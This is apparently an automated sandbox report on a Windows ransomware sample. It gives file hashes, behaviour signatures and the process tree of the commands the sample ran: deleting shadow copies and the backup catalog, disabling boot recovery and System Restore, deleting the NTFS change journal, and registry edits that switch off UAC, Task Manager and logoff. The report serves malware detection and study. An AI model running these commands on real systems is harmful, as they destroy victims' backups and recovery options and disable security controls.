Analysis

  • max time kernel
    142s
  • max time network
    110s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-11-2022 09:48

General

  • Target

    32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe

  • Size

    1.1MB

  • MD5

    674e7ee905d24a89af47b53b53ffc23c

  • SHA1

    c6b73b882aa1f4d46ec655a5591a28638700856c

  • SHA256

    32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1

  • SHA512

    6a0623742423f2137a0a9285e6a590659f8436eeb1fd7c9bcb5e16ecbffa949ae82cf59ee9a49e614345b559a581cfe23c87afce028d1927335dc4938a9b0408

  • SSDEEP

    24576:ibBzKGHF0bxTCFvXwKl/aISpu4Qc6F3v1HT2BzN2tgGS3YzYhoPGxFG4zmYw7A:wV4xTC4u4Qc6/F8bw4Nw

Malware Config

Signatures

  • Deletes NTFS Change Journal 2 TTPs 1 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • UAC bypass 3 TTPs 1 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 13 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 10 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe
    "C:\Users\Admin\AppData\Local\Temp\32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe"
    1⤵
    • Checks computer location settings
    • Enumerates connected drives
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5004
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\Service
      2⤵
        PID:2008
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c @echo off
        2⤵
          PID:1260
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c chcp 437
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4688
          • C:\Windows\SysWOW64\chcp.com
            chcp 437
            3⤵
              PID:3268
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c mkdir "%TEMP%\Service"
            2⤵
              PID:2136
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1860
              • C:\Windows\system32\vssadmin.exe
                vssadmin.exe Delete Shadows /all /quiet
                3⤵
                • Interacts with shadow copies
                PID:5096
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4136
              • C:\Windows\system32\vssadmin.exe
                vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                3⤵
                • Interacts with shadow copies
                PID:544
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4124
              • C:\Windows\system32\vssadmin.exe
                vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                3⤵
                • Interacts with shadow copies
                PID:4612
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1484
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} recoveryenabled No
                3⤵
                • Modifies boot configuration data using bcdedit
                PID:5092
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3604
              • C:\Windows\system32\vssadmin.exe
                vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
                3⤵
                • Enumerates connected drives
                • Interacts with shadow copies
                PID:4908
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
              2⤵
                PID:3128
                • C:\Windows\system32\bcdedit.exe
                  bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                  3⤵
                  • Modifies boot configuration data using bcdedit
                  PID:744
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2224
                • C:\Windows\system32\vssadmin.exe
                  vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded
                  3⤵
                  • Enumerates connected drives
                  • Interacts with shadow copies
                  PID:3444
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:344
                • C:\Windows\system32\fsutil.exe
                  fsutil.exe usn deletejournal /D C:
                  3⤵
                  • Deletes NTFS Change Journal
                  PID:1116
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3496
                • C:\Windows\system32\vssadmin.exe
                  vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                  3⤵
                  • Enumerates connected drives
                  • Interacts with shadow copies
                  PID:4456
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                2⤵
                  PID:3852
                  • C:\Windows\system32\wbadmin.exe
                    wbadmin.exe delete catalog -quiet
                    3⤵
                    • Deletes backup catalog
                    PID:4796
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                  2⤵
                    PID:3100
                    • C:\Windows\system32\vssadmin.exe
                      vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                      3⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:3740
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                    2⤵
                      PID:3312
                      • C:\Windows\system32\schtasks.exe
                        schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                        3⤵
                          PID:3644
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                        2⤵
                          PID:2332
                          • C:\Windows\system32\reg.exe
                            reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                            3⤵
                            • UAC bypass
                            PID:3668
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
                          2⤵
                            PID:5072
                            • C:\Windows\system32\vssadmin.exe
                              vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
                              3⤵
                              • Enumerates connected drives
                              • Interacts with shadow copies
                              PID:4448
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded
                            2⤵
                              PID:908
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
                              2⤵
                                PID:2516
                                • C:\Windows\system32\reg.exe
                                  reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
                                  3⤵
                                    PID:4928
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                  2⤵
                                    PID:4516
                                    • C:\Windows\system32\reg.exe
                                      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                      3⤵
                                        PID:2580
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
                                      2⤵
                                        PID:1264
                                        • C:\Windows\system32\vssadmin.exe
                                          vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
                                          3⤵
                                          • Enumerates connected drives
                                          • Interacts with shadow copies
                                          PID:2704
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded
                                        2⤵
                                          PID:3316
                                          • C:\Windows\system32\vssadmin.exe
                                            vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded
                                            3⤵
                                            • Interacts with shadow copies
                                            PID:1436
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
                                          2⤵
                                            PID:4660
                                            • C:\Windows\system32\reg.exe
                                              reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
                                              3⤵
                                                PID:2744
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
                                              2⤵
                                                PID:5036
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB
                                                2⤵
                                                  PID:3848
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=unbounded
                                                  2⤵
                                                    PID:1432
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
                                                    2⤵
                                                      PID:4592
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=401MB
                                                      2⤵
                                                        PID:2640
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
                                                        2⤵
                                                          PID:4648
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=unbounded
                                                          2⤵
                                                            PID:4440
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:1388
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
                                                              2⤵
                                                                PID:4008
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=401MB
                                                                2⤵
                                                                  PID:376
                                                              • C:\Windows\system32\vssvc.exe
                                                                C:\Windows\system32\vssvc.exe
                                                                1⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2792
                                                              • C:\Windows\system32\wbengine.exe
                                                                "C:\Windows\system32\wbengine.exe"
                                                                1⤵
                                                                  PID:4360

                                                                Network

                                                                MITRE ATT&CK Enterprise v6

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